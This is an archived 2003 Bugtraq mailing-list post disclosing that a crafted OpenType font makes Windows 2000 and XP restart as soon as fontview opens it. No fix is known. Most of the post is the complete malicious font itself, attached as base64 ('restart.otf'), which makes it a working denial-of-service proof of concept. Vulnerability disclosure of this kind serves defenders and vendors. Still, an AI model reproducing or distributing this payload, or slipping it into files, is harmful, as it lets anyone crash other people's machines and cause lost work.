[28386] in bugtraq
Opentype font file causes Windows to restart.
daemon@ATHENA.MIT.EDU (Andrew)
Mon Jan 6 19:50:26 2003
Date: Tue, 7 Jan 2003 04:36:49 +1300
From: Andrew <aconnell@xtra.co.nz>
Reply-To: Andrew <aconnell@xtra.co.nz>
Message-ID: <163137623792.20030107043649@xtra.co.nz>
To: bugtraq@securityfocus.com, vulnwatch@vulnwatch.org
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------1F17417B20A411B0"
------------1F17417B20A411B0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Problem
-------
The attached OpenType font file will cause Windows to restart
immediately when the file is opened by the default viewer (fontview).
I doubt anyone would suspect a "harmless" little font file of being
able to cause such a thing to happen!
Software affected
-----------------
It has been tested on both Windows 2000 and Windows XP with exactly
the same result -- an immediate restart. Other versions of Windows
are untested.
Fix
---
No fix known.
- Andrew Connell
------------1F17417B20A411B0
Content-Type: application/octet-stream; name="restart.otf"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="restart.otf"
T1RUTwAJAIAAAwAQQ0ZGIERAtN8AAACcAAAEZU9TLzJeXlwYAAAFBAAAAGBjbWFwAKECGgAABWQA
AAEkaGVhZNZUcTcAAAaQAAAANmhoZWEFzAI+AAAG1AAAACRobXR4Br3/+AAABsgAAAAMbWF4cAAD
UAAAAAaIAAAABm5hbWXxP5NIAAAG+AAAAxVwb3N0/58AMgAAChAAAAAgAQAEBAABAQEKcmVzdGFy
dGVyAAEBARz4EAD4GwL4GwP4GASDZfla+K4Fzw+S+vIS1BEAAQEBCnJlc3RhcnRlcgAAAQEAAAEA
UAADAgABAAQABwQL+IgO+IgOlfe2FZGKkoyNioqKioeMh4yIjIaMiIyGjIiMh4yKjIyMj4yNjJCM
jYyPjJCKkIqNio2KjJmKioSMhoyHjIaMiIyHjIeNjYyPjI+MjoyQjI+Mj4yRioyVioqJioqKhoqJ
ioeKiIqHioiKiIqHioiKh4qIioiKioONio6KkIqOio+KjoqPiYmKh4qIioeKiIqHioiKioOMio+K
joqPio6Kj4qOio6Kj4qOio+KjoqPio2KjIqMBtAWk4qngoqNioyIjHqKin6ZjYyMjH+JjYqMfnuf
jIyMjIyMjYyNjIOKh2aMjIyMtomNBvdzFpuKj4qNgYyIiY6KjIqMioyKjImMiYyAiomKiYqKioqK
ioqKiYqJioSKiYyFjIiMioyJjIqMioyKjIqNio6Kj4yOjIyMjIyMjoyRio2JjImMkoqMjI2KjIyR
ioqKiomKeoeNio2JioqKioqJiomKh4qEjIeMiIyJjIqMioyKjIqMioyKjIqNio2KjoqZjI6MjYyN
jIyMjIyMjIyMjIyMjIyNjI2MjYyOjAbnFpmKjoqNioyKjYqMioyKjIqMioyJjIqMiIyIjH6KiIqJ
iomKioqJioqKioqKiYqKiomKiYqIin2MiIyJjIqMiYyKjIqMioyKjIqNio2KjYqQipSMj4yNjI2M
jYyMjIyMjIyMjIyMjI2MjIyOjI2MBvuhihWaioqKioqKZoyKmoyOjIyMjI2MjYyMjImKhoqFdIqA
jYyNjLSKjIqMBrQWmoqKiopknIyNjIyNjI2MjIyIioKIiomMioqKjIeKgoyJioqMh4qDjYyMjLaJ
jAa1FpqKiX6KboyJjIqAioqMioqKjIuMjLaKjIqMBqIWmYqMioyJjIqMioyJjIqMiYyJjIqMiYyK
jImMioyJjIqMiYyKjImMioyKjIqMp4qMioyKjJaKiomKcYp5hIyKjYqMioyKjYqMio2KjIqNioyK
jYqMio2KjIqMio2KjIqNioyKjYqMio2KjYqMioyKjIppjIqMioyKiYyGioeMjI2MtYqMiowG8xad
ipCMmoqMfoqOio6KjImMgWSMio2KeYyNjIyMjLGBioqKioqKiYqIipCMk4yMBu0WmYqMioyJjIqM
iYyKjImMioyJjIqMiYyKjImMioyJjIqMiYyKjImMioyJjaeKjYmMloqKiYpoioKEjIqMio2KjIqN
ioyKjYqMio2KjIqNioyKjIqNioyKjYqMio2KjIqNioyKjYqMio2KjIqMimmMioyKg4qJjYyNjLOK
jYqMBl1uFYyIjImMiYyKjImMio2KjYqUjI2MjIyMjIyMjI2MjIyPjJOKkIqNio6KjIqNioyKjImM
iYyDiomKiYqKioqJioqKiIp9Bg4eoDlj/wwJAAAAAAICPwGQAAUAAAK8AooAAACMArwCigAAAd0A
MgD6AAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAE5PTkUAQAAAAG8C7v9WAB4DwgAmAAAAAAAA
AAAB9AK8ACAAIAAAAAAAAwAAAAMAAAAcAAEAAAAAAEwAAwABAAAAHAAEADAAAAAIAAgAAgAAAAAA
IABv//8AAAAAACAAb///AAD/4f+TAAEAAAAAAAAAAAAGANgAAAAJAGcAAQAAAAAAAAABAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAgAAUAAAAwAAAAEAAAABAAD42ttZXw889QADA+gAAAAAuj/f+gAA
AAC6P05p//j/2gLGAhoAAAADAAIAAAAAAAAB9AAAAfQAAALV//gAAQAAAu7/VgAeAtX/+AAPAsYA
AQAAAAAAAAAAAAAAAAAAAAMAAAATAOoAAQAAAAAAAAAkAAAAAQAAAAAAAQAJACQAAQAAAAAAAgAH
AC0AAQAAAAAAAwAUADQAAQAAAAAABAAJACQAAQAAAAAABQAgAEgAAQAAAAAABgAJACQAAQAAAAAA
BwBRAGgAAQAAAAAAEAAJACQAAQAAAAAAEQAHAC0AAwABBAkAAABIALkAAwABBAkAAQASAQEAAwAB
BAkAAgAOARMAAwABBAkAAwAoASEAAwABBAkABAASAQEAAwABBAkABQBAAUkAAwABBAkABgASAQEA
AwABBAkABwCiAYkAAwABBAkAEgASAQFDb3B5cmlnaHQgMjAwMy4gQWxsIHJpZ2h0cyByZXNlcnZl
ZC5yZXN0YXJ0ZXJSZWd1bGFyMS4wMDA7Tk9ORTtyZXN0YXJ0ZXJPVEYgMS4wMDA7UFMgMDAxLjAw
MTtDb3JlIDEuMC4yOVBsZWFzZSByZWZlciB0byB0aGUgQ29weXJpZ2h0IHNlY3Rpb24gZm9yIHRo
ZSBmb250IHRyYWRlbWFyayBhdHRyaWJ1dGlvbiBub3RpY2VzLgBDAG8AcAB5AHIAaQBnAGgAdAAg
ADIAMAAwADMALgAgAEEAbABsACAAcgBpAGcAaAB0AHMAIAByAGUAcwBlAHIAdgBlAGQALgByAGUA
cwB0AGEAcgB0AGUAcgBSAGUAZwB1AGwAYQByADEALgAwADAAMAA7AE4ATwBOAEUAOwByAGUAcwB0
AGEAcgB0AGUAcgBPAFQARgAgADEALgAwADAAMAA7AFAAUwAgADAAMAAxAC4AMAAwADEAOwBDAG8A
cgBlACAAMQAuADAALgAyADkAUABsAGUAYQBzAGUAIAByAGUAZgBlAHIAIAB0AG8AIAB0AGgAZQAg
AEMAbwBwAHkAcgBpAGcAaAB0ACAAcwBlAGMAdABpAG8AbgAgAGYAbwByACAAdABoAGUAIABmAG8A
bgB0ACAAdAByAGEAZABlAG0AYQByAGsAIABhAHQAdAByAGkAYgB1AHQAaQBvAG4AIABuAG8AdABp
AGMAZQBzAC4AAAAAAwAAAAAAAP+cADIAAAAAAAAAAAAAAAAAAAAAAAAAAA==
------------1F17417B20A411B0--
